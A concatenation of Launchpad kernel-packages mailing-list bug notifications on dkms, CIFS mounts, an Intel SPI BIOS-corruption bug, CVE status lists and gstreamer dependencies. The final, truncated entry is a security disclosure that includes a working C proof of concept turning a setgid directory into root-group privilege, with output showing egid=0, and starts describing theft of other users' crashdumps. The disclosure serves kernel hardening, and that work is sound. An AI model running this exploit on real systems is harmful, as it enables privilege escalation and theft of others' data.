ath10k-lp1803647-4.15-dkms-daily To manage notifications about this bug go to: https://bugs.launchpad.net/dkms/+bug/1828948/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1838245] Re: dkms script is missing function find_module
** Changed in: dkms Status: In Progress => Fix Released ** Tags removed: verification-needed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to dkms in Ubuntu. https://bugs.launchpad.net/bugs/1838245 Title: dkms script is missing function find_module Status in DKMS: Fix Released Status in dkms package in Ubuntu: Fix Released Status in dkms source package in Bionic: Fix Released Bug description: update for SRU process: [Impact] 1. dkms script is missing function find_module 2. priority of OBSOLETE_BY should higher than "force". #89 https://github.com/dell/dkms/issues/89 [Test case] install the dkms which already patched (also can be found in my ppa[1]) 1. install a dkms which for a kernel module system already installed. e.g. ath10k of my testing ppa : [1] 1.1. the dkms can be installed well. 2. install a dkms which has OBSOLETE_BY and FORCE e.g.ath10k of my testing ppa : [1] (source code in [2]) - the target dkms defined OBSOLETE_BY and FORCE - user install dkms on a system which installed kernel version less than OBSOLETE_BY and another kernel higher than OBSOLETE_BY - the dkms can be installed well. [Regression potential] medium as it touched the version sanity. This change correct the code logic and land one more change from upstream as well. The logic has been verified by #5 and me. Building a kernel module using dkms in Linux Mint 19.1 shows the following error: Running module version sanity check. /usr/sbin/dkms: Zeile 784: find_module: Befehl nicht gefunden modinfo: ERROR: missing module or filename. Checking the file the function is indeed missing and another user confirmed, that it was removed at some point: https://github.com/linuxmint/linuxmint/issues/142 Possible solution: Readd find_module() { # tree = $1 # module = $2 find "$1" -name "$2$module_uncompressed_suffix" -o -name "$2$module_suffix" -type f return $? } as found in https://github.com/dell/dkms/blob/master/dkms To manage notifications about this bug go to: https://bugs.launchpad.net/dkms/+bug/1838245/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 406466] Re: 2.6.31 - Can't see files in CIFS-mounted directories
** No longer affects: samba (Ubuntu) ** No longer affects: samba (Ubuntu Karmic) ** Package changed: samba (Arch Linux) => ubuntu-translations ** No longer affects: ubuntu-translations ** Changed in: linux (Ubuntu) Milestone: karmic-updates => None -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/406466 Title: 2.6.31 - Can't see files in CIFS-mounted directories Status in Ubuntu Server papercuts: Invalid Status in linux package in Ubuntu: Won't Fix Status in linux source package in Karmic: Won't Fix Bug description: Hi, in Jaunty (amd64, 2.6.28-11, smbfs 3.3.2) i mounted a NAS-share with VFAT filesystem with these commands: - echo 0 > /proc/fs/cifs/LinuxExtensionsEnabled - mount -t cifs -o user=abc,password=xyz,dir_mode=0777,file_mode=0777 //192.168.xxx.yyy/sharename mountdir and everythings works fine (even with other values of file_mode and/or dir_mode). In Karmic development version (amd64, 2.6.31-4, smbfs 3.4.0) these mount commands are also successfull, as /etc/mtab shows, but 1) the command 'ls mountdir' doesn't show any file 2) even worse, if i copy a file to this mountdir, it is not shown. But if i mount this NAS-share from a second computer with installed jaunty, i can see this file. It was really copied, but i can't see it from Karmic. 3) and i can also use 'df -H mountdir' from Karmic to report file system disk space usage of the NAS harddrive 4) but i can't see any file or directory 5) and not surprisingly: 'umount //192.168.xxx.yyy/sharename' works too as it should. ciao To manage notifications about this bug go to: https://bugs.launchpad.net/server-papercuts/+bug/406466/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1572132] Re: SMB driver (SMBv2) does not show all files when mounting a windows top level share
** Also affects: cifs-utils (Debian) via https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=871779 Importance: Unknown Status: Unknown ** Summary changed: - SMB driver (SMBv2) does not show all files when mounting a windows top level share + SMBv2+ does not show all files when mounting a windows share -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1572132 Title: SMBv2+ does not show all files when mounting a windows share Status in Linux: Unknown Status in linux package in Ubuntu: Confirmed Status in cifs-utils package in Debian: Unknown Bug description: When using the SMBv2 Protocol to mount a top level windows share (such as C:\) not all files (or directories) are shown that exist on the server side. Exactly 2 files are always missing... Steps to reproduce: On a windows7 PC (or Server) e.g. C:\ must be published as Share (must be top level share - a subfolder like C:\data\ seems to work) sudo mount -t cifs //SERVER/SHARE_NAME /mnt -o domain=DOMAIN_NAME,username=${USER},uid=1000,gid=1000,nounix,vers=2.0 As a result always 2 Files (or directories) are missing in the mounted directory of the ubuntu installation. Seems to be a kernel bug (source tree: linux/fs/cifs). The ubuntu versions I have checked: Ubuntu 14.04LTS amd64 Ubuntu 15.10 amd64 Ubuntu 16.04 amd64 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: ubuntu-release-upgrader-core 1:16.04.12 ProcVersionSignature: Ubuntu 4.4.0-18.34-generic 4.4.6 Uname: Linux 4.4.0-18-generic x86_64 ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 CrashDB: ubuntu CurrentDesktop: KDE Date: Tue Apr 19 14:50:02 2016 InstallationDate: Installed on 2016-04-19 (0 days ago) InstallationMedia: Kubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160417.1) PackageArchitecture: all SourcePackage: ubuntu-release-upgrader Symptom: ubuntu-release-upgrader UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1572132/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1734147] Re: corrupted BIOS due to Intel SPI bug in kernel
** Changed in: linux (Ubuntu) Assignee: tovagliari amos (tovatamos) => (unassigned) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1734147 Title: corrupted BIOS due to Intel SPI bug in kernel Status in Linux: Unknown Status in linux package in Ubuntu: Fix Released Status in linux-hwe-edge source package in Xenial: Fix Released Status in linux-oem source package in Xenial: Fix Released Status in linux source package in Artful: Fix Released Bug description: An update to linux kernel on Ubuntu 17.10 that enabled the Intel SPI drivers results in a serial flash that is read only in Intel Broadwell and Haswell machines with serial flashes with SPI_NOR_HAS_LOCK set. Symptoms: * BIOS settings cannot be saved * USB Boot impossible * EFI entries read-only. --- Fix: The issue was fixed in kernel version 4.13.0-21 by configuring the kernel so it is not compiled with Intel SPI support. But previous affected machines still suffered from a broken BIOS. Repair: If you still can boot into Ubuntu, you can recover your BIOS with the following steps: 1. Boot into Ubuntu 2. Download http://people.canonical.com/~ypwong/lp1734147/linux-image-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330+20170103+1_amd64.deb 3. Install the downloaded package: $ sudo dpkg -i linux-image-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330+20170103+1_amd64.deb 4. Make sure the kernel is installed without any error. Once installed, reboot. 5. At grub, choose the newly installed kernel. You can choose the "recovery" mode. 6. Reboot and go to BIOS settings to confirm your BIOS has been recovered. 7. In case your BIOS is not recovered, reboot to the new kernel, then reboot *once again* to the new kernel, do not enter BIOS settings before the reboot. After the second reboot, check BIOS. 8. If your BIOS issue remains, download another kernel from http://people.canonical.com/~ypwong/lp1734147/linux-image-4.15.0-041500rc6-generic_4.15.0-041500rc6.201712312330+clear+debug_amd64.deb, and use dpkg to install it, then repeat steps 4 to 6. After your BIOS is fixed, the kernel packages you just installed are no longer needed, you can remove it by running 'sudo dpkg -r linux- image-4.15.0-041500rc6-generic'. The patch used to build the linux v4.15 kernel in step 8 can be found at https://goo.gl/xUKJFR. --- Test Case: Fix has been verified by our HWE team on affected hardware. Regression Potential: Minimal, it's unlikely anyone is actually doing anything which requires this driver. --- Affected Machines: Lenovo B40-70 Lenovo B50-70 Lenovo B50-80 Lenovo Flex-3 Lenovo Flex-10 Lenovo G40-30 Lenovo G50-30 Lenovo G50-70 Lenovo G50-80 Lenovo S20-30 Lenovo U31-70 Lenovo Y50-70 Lenovo Y70-70 Lenovo Yoga Thinkpad (20C0) Lenovo Yoga 2 11" - 20332 Lenovo Yoga 3 11" Lenovo Z50-70 Lenovo Z51-70 Lenovo ideapad 100-15IBY Acer Aspire E5-771G Acer Aspire ES1-111M-C1LE (fixed following your new instruction (thank you)) Acer TravelMate B113 Acer Swift SF314-52 (Fixed by 4.14.9) Toshiba Satellite S55T-B5233 Toshiba Satellite L50-B-1R7 Toshiba Satellite S50-B-13G Toshiba Satellite L70-A-13M Dell Inspiron 15-3531 Mediacom Smartbook 14 Ultra M-SB14UC (fixed with official fix) Acer Aspire E3-111-C0UM HP 14-r012la --- Affected serial flash devices by manufacturer part number, JEDEC ID (SPI_NOR_HAS_LOCK set in drivers/mtd/spi-nor/spi-nor.c) /* ESMT */ f25l32pa, 0x8c2016 f25l32qa, 0x8c4116 f25l64qa, 0x8c4117 /* GigaDevice */ gd25q16, 0xc84015 gd25q32, 0xc84016 gd25lq32, 0xc86016 gd25q64, 0xc84017 gd25lq64c, 0xc86017 gd25q128, 0xc84018 gd25q256, 0xc84019 /* Winbond */ w25q16dw, 0xef6015 w25q32dw, 0xef6016 w25q64dw, 0xef6017 w25q128fw, 0xef6018 --- Original Description: Basically on Lenovo Y50-70 after installing Ubuntu 17.10, many users reported a corrupted BIOS. It's not possible to save new settings in BIOS anymore and after rebooting, the system starts with the old settings. Moreover (and most important) USB booting is not possible anymore since USB is not recognized. It's very serious, since our machines do not have a CDROM. Lenovo forums at the moment are full of topics regading this issue. Thank you!! To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1734147/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1566580] Re: CVE-2015-8839
** Changed in: linux-raspi2 (Ubuntu Xenial) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-armadaxp in Ubuntu. https://bugs.launchpad.net/bugs/1566580 Title: CVE-2015-8839 Status in linux package in Ubuntu: Fix Committed Status in linux-armadaxp package in Ubuntu: Invalid Status in linux-flo package in Ubuntu: New Status in linux-goldfish package in Ubuntu: New Status in linux-lts-quantal package in Ubuntu: Invalid Status in linux-lts-raring package in Ubuntu: Invalid Status in linux-lts-saucy package in Ubuntu: Invalid Status in linux-lts-trusty package in Ubuntu: Invalid Status in linux-lts-utopic package in Ubuntu: Invalid Status in linux-lts-vivid package in Ubuntu: Invalid Status in linux-lts-wily package in Ubuntu: Invalid Status in linux-lts-xenial package in Ubuntu: Invalid Status in linux-mako package in Ubuntu: New Status in linux-manta package in Ubuntu: Invalid Status in linux-raspi2 package in Ubuntu: New Status in linux-snapdragon package in Ubuntu: New Status in linux-ti-omap4 package in Ubuntu: Invalid Status in linux source package in Precise: New Status in linux-armadaxp source package in Precise: New Status in linux-flo source package in Precise: Invalid Status in linux-goldfish source package in Precise: Invalid Status in linux-lts-quantal source package in Precise: Invalid Status in linux-lts-raring source package in Precise: Invalid Status in linux-lts-saucy source package in Precise: Invalid Status in linux-lts-trusty source package in Precise: New Status in linux-lts-utopic source package in Precise: Invalid Status in linux-lts-vivid source package in Precise: Invalid Status in linux-lts-wily source package in Precise: Invalid Status in linux-lts-xenial source package in Precise: Invalid Status in linux-mako source package in Precise: Invalid Status in linux-manta source package in Precise: Invalid Status in linux-raspi2 source package in Precise: Invalid Status in linux-snapdragon source package in Precise: Invalid Status in linux-ti-omap4 source package in Precise: New Status in linux source package in Trusty: New Status in linux-armadaxp source package in Trusty: Invalid Status in linux-flo source package in Trusty: Invalid Status in linux-goldfish source package in Trusty: Invalid Status in linux-lts-quantal source package in Trusty: Invalid Status in linux-lts-raring source package in Trusty: Invalid Status in linux-lts-saucy source package in Trusty: Invalid Status in linux-lts-trusty source package in Trusty: Invalid Status in linux-lts-utopic source package in Trusty: New Status in linux-lts-vivid source package in Trusty: New Status in linux-lts-wily source package in Trusty: New Status in linux-lts-xenial source package in Trusty: Fix Committed Status in linux-mako source package in Trusty: Invalid Status in linux-manta source package in Trusty: Invalid Status in linux-raspi2 source package in Trusty: Invalid Status in linux-snapdragon source package in Trusty: Invalid Status in linux-ti-omap4 source package in Trusty: Invalid Status in linux source package in Vivid: Won't Fix Status in linux-armadaxp source package in Vivid: Won't Fix Status in linux-flo source package in Vivid: Won't Fix Status in linux-goldfish source package in Vivid: New Status in linux-lts-quantal source package in Vivid: Won't Fix Status in linux-lts-raring source package in Vivid: New Status in linux-lts-saucy source package in Vivid: Won't Fix Status in linux-lts-trusty source package in Vivid: Won't Fix Status in linux-lts-utopic source package in Vivid: Won't Fix Status in linux-lts-vivid source package in Vivid: Won't Fix Status in linux-lts-wily source package in Vivid: New Status in linux-lts-xenial source package in Vivid: New Status in linux-mako source package in Vivid: Won't Fix Status in linux-manta source package in Vivid: New Status in linux-raspi2 source package in Vivid: Won't Fix Status in linux-snapdragon source package in Vivid: New Status in linux-ti-omap4 source package in Vivid: Won't Fix Status in linux source package in Wily: New Status in linux-armadaxp source package in Wily: Invalid Status in linux-flo source package in Wily: New Status in linux-goldfish source package in Wily: New Status in linux-lts-quantal source package in Wily: Invalid Status in linux-lts-raring source package in Wily: Invalid Status in linux-lts-saucy source package in Wily: Invalid Status in linux-lts-trusty source package in Wily: Invalid Status in linux-lts-utopic source package in Wily: Invalid Status in linux-lts-vivid source package in Wily: Invalid Status in linux-lts-wily source package in Wily: Invalid Status in linux-lts-xenial source package in Wily: Invalid Status in linux-mako source package in Wily: New Status in
[Kernel-packages] [Bug 1566580] Re: CVE-2015-8839
** Changed in: linux (Ubuntu Xenial) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-armadaxp in Ubuntu. https://bugs.launchpad.net/bugs/1566580 Title: CVE-2015-8839 Status in linux package in Ubuntu: Fix Committed Status in linux-armadaxp package in Ubuntu: Invalid Status in linux-flo package in Ubuntu: New Status in linux-goldfish package in Ubuntu: New Status in linux-lts-quantal package in Ubuntu: Invalid Status in linux-lts-raring package in Ubuntu: Invalid Status in linux-lts-saucy package in Ubuntu: Invalid Status in linux-lts-trusty package in Ubuntu: Invalid Status in linux-lts-utopic package in Ubuntu: Invalid Status in linux-lts-vivid package in Ubuntu: Invalid Status in linux-lts-wily package in Ubuntu: Invalid Status in linux-lts-xenial package in Ubuntu: Invalid Status in linux-mako package in Ubuntu: New Status in linux-manta package in Ubuntu: Invalid Status in linux-raspi2 package in Ubuntu: New Status in linux-snapdragon package in Ubuntu: New Status in linux-ti-omap4 package in Ubuntu: Invalid Status in linux source package in Precise: New Status in linux-armadaxp source package in Precise: New Status in linux-flo source package in Precise: Invalid Status in linux-goldfish source package in Precise: Invalid Status in linux-lts-quantal source package in Precise: Invalid Status in linux-lts-raring source package in Precise: Invalid Status in linux-lts-saucy source package in Precise: Invalid Status in linux-lts-trusty source package in Precise: New Status in linux-lts-utopic source package in Precise: Invalid Status in linux-lts-vivid source package in Precise: Invalid Status in linux-lts-wily source package in Precise: Invalid Status in linux-lts-xenial source package in Precise: Invalid Status in linux-mako source package in Precise: Invalid Status in linux-manta source package in Precise: Invalid Status in linux-raspi2 source package in Precise: Invalid Status in linux-snapdragon source package in Precise: Invalid Status in linux-ti-omap4 source package in Precise: New Status in linux source package in Trusty: New Status in linux-armadaxp source package in Trusty: Invalid Status in linux-flo source package in Trusty: Invalid Status in linux-goldfish source package in Trusty: Invalid Status in linux-lts-quantal source package in Trusty: Invalid Status in linux-lts-raring source package in Trusty: Invalid Status in linux-lts-saucy source package in Trusty: Invalid Status in linux-lts-trusty source package in Trusty: Invalid Status in linux-lts-utopic source package in Trusty: New Status in linux-lts-vivid source package in Trusty: New Status in linux-lts-wily source package in Trusty: New Status in linux-lts-xenial source package in Trusty: Fix Committed Status in linux-mako source package in Trusty: Invalid Status in linux-manta source package in Trusty: Invalid Status in linux-raspi2 source package in Trusty: Invalid Status in linux-snapdragon source package in Trusty: Invalid Status in linux-ti-omap4 source package in Trusty: Invalid Status in linux source package in Vivid: Won't Fix Status in linux-armadaxp source package in Vivid: Won't Fix Status in linux-flo source package in Vivid: Won't Fix Status in linux-goldfish source package in Vivid: New Status in linux-lts-quantal source package in Vivid: Won't Fix Status in linux-lts-raring source package in Vivid: New Status in linux-lts-saucy source package in Vivid: Won't Fix Status in linux-lts-trusty source package in Vivid: Won't Fix Status in linux-lts-utopic source package in Vivid: Won't Fix Status in linux-lts-vivid source package in Vivid: Won't Fix Status in linux-lts-wily source package in Vivid: New Status in linux-lts-xenial source package in Vivid: New Status in linux-mako source package in Vivid: Won't Fix Status in linux-manta source package in Vivid: New Status in linux-raspi2 source package in Vivid: Won't Fix Status in linux-snapdragon source package in Vivid: New Status in linux-ti-omap4 source package in Vivid: Won't Fix Status in linux source package in Wily: New Status in linux-armadaxp source package in Wily: Invalid Status in linux-flo source package in Wily: New Status in linux-goldfish source package in Wily: New Status in linux-lts-quantal source package in Wily: Invalid Status in linux-lts-raring source package in Wily: Invalid Status in linux-lts-saucy source package in Wily: Invalid Status in linux-lts-trusty source package in Wily: Invalid Status in linux-lts-utopic source package in Wily: Invalid Status in linux-lts-vivid source package in Wily: Invalid Status in linux-lts-wily source package in Wily: Invalid Status in linux-lts-xenial source package in Wily: Invalid Status in linux-mako source package in Wily: New Status in linux-m
[Kernel-packages] [Bug 1683341] Re: gstreamer-plugins-ugly-i386 dependency error
** Package changed: linux (Ubuntu) => gst-plugins-ugly1.0 (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1683341 Title: gstreamer-plugins-ugly-i386 dependency error Status in gst-plugins-ugly1.0 package in Ubuntu: Expired Bug description: Attempting to install this gives the following: The following packages have unmet dependencies: gstreamer1.0-plugins-ugly:i386: Depends: gstreamer1.0-plugins-ugly-amr (= 1.8.3-1ubuntu1) but 1.8.3-1ubuntu1 is to be installed Depends: libc6 (>= 2.7) but 2.24-3ubuntu2 is to be installed Depends: libdvdread4 (>= 4.1.3) but 5.0.3-1 is to be installed Depends: libgcc1 (>= 1:3.0) but 1:6.2.0-5ubuntu12 is to be installed Depends: libglib2.0-0 (>= 2.40) but 2.50.2-2ubuntu1 is to be installed Depends: liborc-0.4-0 (>= 1:0.4.25) but 1:0.4.26-1 is to be installed Depends: libstdc++6 (>= 5) but 6.2.0-5ubuntu12 is to be installed The libc6 dependency is wrong, I would guess this should be 2.17 not 2.7 which doesn't exist. cat version.log Ubuntu 4.8.0-46.49-generic 4.8.17 --- ApportVersion: 2.20.3-0ubuntu8.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: mark 4535 F pulseaudio /dev/snd/controlC3: mark 4535 F pulseaudio /dev/snd/controlC2: mark 4535 F pulseaudio /dev/snd/controlC0: mark 4535 F pulseaudio CurrentDesktop: XFCE DistroRelease: Ubuntu 16.10 HibernationDevice: RESUME=UUID=3e34a9fd-33a3-4027-86ff-5151122c5379 InstallationDate: Installed on 2010-03-14 (2590 days ago) InstallationMedia: Ubuntu 9.10 "Karmic Koala" - Release amd64 (20091027) MachineType: System manufacturer System Product Name NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia Package: linux (not installed) ProcFB: 0 VESA VGA ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-46-generic root=UUID=bf8502af-6555-4b4c-a93f-11ee7121da7d ro quiet nosplash libata.force=noncq ProcVersionSignature: Ubuntu 4.8.0-46.49-generic 4.8.17 RelatedPackageVersions: linux-restricted-modules-4.8.0-46-generic N/A linux-backports-modules-4.8.0-46-generic N/A linux-firmware1.161.1 RfKill: Tags: yakkety Uname: Linux 4.8.0-46-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm admin audio cdrom dialout floppy fuse libvirt libvirtd lpadmin netdev plugdev powerdev sambashare scanner tape video _MarkForUpload: True dmi.bios.date: 03/08/2011 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2001 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: M4A87TD/USB3 dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2001:bd03/08/2011:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnM4A87TD/USB3:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-plugins-ugly1.0/+bug/1683341/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1683376] Re: gstreamer-plugins-bad-i386 dependency error
** Package changed: linux (Ubuntu) => gst-plugins-bad1.0 (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1683376 Title: gstreamer-plugins-bad-i386 dependency error Status in gst-plugins-bad1.0 package in Ubuntu: Expired Bug description: The problem here seems to be that the package is dependent upon itself. All the dependencies below are met and most are already installed including the last two. The following packages have unmet dependencies: gstreamer1.0-plugins-bad:i386: Depends: libc6 (>= 2.15) but 2.24-3ubuntu2 is to be installed Depends: libcurl3-gnutls (>= 7.16.2) but 7.50.1-1ubuntu1.1 is to be installed Depends: libdvdnav4 (>= 4.1.3) but 5.0.3-1 is to be installed Depends: libdvdread4 (>= 4.1.3) but 5.0.3-1 is to be installed Depends: libgcc1 (>= 1:3.0) but 1:6.2.0-5ubuntu12 is to be installed Depends: libglib2.0-0 (>= 2.40) but 2.50.2-2ubuntu1 is to be installed Depends: libgstreamer-plugins-bad1.0-0 (= 1.8.3-1ubuntu1.1) but 1.8.3-1ubuntu1.1 is to be installed Depends: libgtk-3-0 (>= 3.16.2) but 3.20.9-1ubuntu2.1 is to be installed Depends: libgudev-1.0-0 (>= 146) but 1:230-3 is to be installed Depends: libilmbase12 (>= 2.2.0) but 2.2.0-11ubuntu2 is to be installed Depends: libjpeg8 (>= 8c) but 8c-2ubuntu8 is to be installed Depends: libmodplug1 (>= 1:0.8.8.5) but 1:0.8.8.5-2 is to be installed Depends: libopenal1 (>= 1.14) but 1:1.17.2-1 is to be installed Depends: libopenjp2-7 (>= 2.0.0) but 2.1.1-1ubuntu0.1 is to be installed Depends: liborc-0.4-0 (>= 1:0.4.25) but 1:0.4.26-1 is to be installed Depends: librsvg2-2 (>= 2.36.2) but 2.40.16-1 is to be installed Depends: librtmp1 (>= 2.3) but 2.4+20151223.gitfa8646d.1-1 is to be installed Depends: libsoundtouch1 (>= 1.9.2) but 1.9.2-2 is to be installed Depends: libstdc++6 (>= 5.2) but 6.2.0-5ubuntu12 is to be installed Depends: libusb-1.0-0 (>= 2:1.0.8) but 2:1.0.20-1 is to be installed Depends: libwayland-client0 (>= 1.9.91) but 1.11.0-2 is to be installed Depends: libx265-79 (>= 1.9) but 1.9-3 is to be installed Depends: libxml2 (>= 2.9.0) but 2.9.4+dfsg1-2ubuntu0.1 is to be installed Depends: gstreamer1.0-plugins-bad-videoparsers (= 1.8.3-1ubuntu1.1) but 1.8.3-1ubuntu1.1 is to be installed Depends: gstreamer1.0-plugins-bad-faad (= 1.8.3-1ubuntu1.1) but 1.8.3-1ubuntu1.1 is to be installed cat version.log Ubuntu 4.8.0-46.49-generic 4.8.17 ubuntu 16.10 --- ApportVersion: 2.20.3-0ubuntu8.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: mark 4322 F pulseaudio /dev/snd/controlC3: mark 4322 F pulseaudio /dev/snd/controlC2: mark 4322 F pulseaudio /dev/snd/controlC0: mark 4322 F pulseaudio CurrentDesktop: XFCE DistroRelease: Ubuntu 16.10 HibernationDevice: RESUME=UUID=3e34a9fd-33a3-4027-86ff-5151122c5379 InstallationDate: Installed on 2010-03-14 (2590 days ago) InstallationMedia: Ubuntu 9.10 "Karmic Koala" - Release amd64 (20091027) MachineType: System manufacturer System Product Name NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia Package: linux (not installed) ProcFB: 0 VESA VGA ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-46-generic root=UUID=bf8502af-6555-4b4c-a93f-11ee7121da7d ro quiet nosplash libata.force=noncq ProcVersionSignature: Ubuntu 4.8.0-46.49-generic 4.8.17 RelatedPackageVersions: linux-restricted-modules-4.8.0-46-generic N/A linux-backports-modules-4.8.0-46-generic N/A linux-firmware1.161.1 RfKill: Tags: yakkety Uname: Linux 4.8.0-46-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm admin audio cdrom dialout floppy fuse libvirt libvirtd lpadmin netdev plugdev powerdev sambashare scanner tape video _MarkForUpload: True dmi.bios.date: 03/08/2011 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2001 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: M4A87TD/USB3 dmi.board.vendor: ASUSTeK Computer INC. dm
[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass
** No longer affects: whoopsie (Ubuntu) ** No longer affects: whoopsie (Ubuntu Trusty) ** No longer affects: whoopsie (Ubuntu Xenial) ** No longer affects: whoopsie (Ubuntu Bionic) ** No longer affects: whoopsie (Ubuntu Cosmic) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1779923 Title: other users' coredumps can be read via setgid directory and killpriv bypass Status in linux package in Ubuntu: In Progress Status in linux source package in Trusty: In Progress Status in linux source package in Xenial: In Progress Status in linux source package in Bionic: In Progress Status in linux source package in Cosmic: In Progress Bug description: Note: I am both sending this bug report to secur...@kernel.org and filing it in the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug or as a Ubuntu bug. You may wish to talk to each other to determine the best place to fix this. I noticed halfdog's old writeup at https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ , describing essentially the following behavior in combination with a trick for then writing to the resulting file without triggering the killpriv logic: = user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat > demo.c #include int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); } user@debian:~/sgid_demo$ gcc -o demo demo.c user@debian:~/sgid_demo$ ./demo user@debian:~/sgid_demo$ ls -l dir/file -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file = Two patches for this were proposed on LKML back then: "[PATCH 1/2] fs: Check f_cred instead of current's creds in should_remove_suid()" https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/ "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory" https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/ However, as far as I can tell, neither of them actually landed. You can also bypass the killpriv logic with fallocate() and mmap() - fallocate() permits resizing the file without triggering killpriv, mmap() permits writing without triggering killpriv (the mmap part is mentioned at https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/ ): = user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat fallocate.c #define _GNU_SOURCE #include #include #include #include #include #include #include int main(void) { int src_fd = open("/usr/bin/id", O_RDONLY); if (src_fd == -1) err(1, "open 2"); struct stat src_stat; if (fstat(src_fd, &src_stat)) err(1, "fstat"); int src_len = src_stat.st_size; char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0); if (src_mapping == MAP_FAILED) err(1, "mmap 2"); int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755); if (fd == -1) err(1, "open"); if (fallocate(fd, 0, 0, src_len)) err(1, "fallocate"); char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); memcpy(mapping, src_mapping, src_len); munmap(mapping, src_len); close(fd); close(src_fd); execl("./dir/file", "id", NULL); err(1, "execl"); } user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c user@debian:~/sgid_demo$ ./fallocate uid=1000(user) gid=1000(user) egid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user) = sys_copy_file_range() also looks as if it bypasses killpriv on supported filesystems, but I haven't tested that one so far. On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and contains group-readable crashdumps in some custom format, so you can use this issue to steal other users' crashdumps: = user@ubuntu-18-04-vm:~$ ls -l /var/crash total 296 -rw-r- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash -rw-r- 1 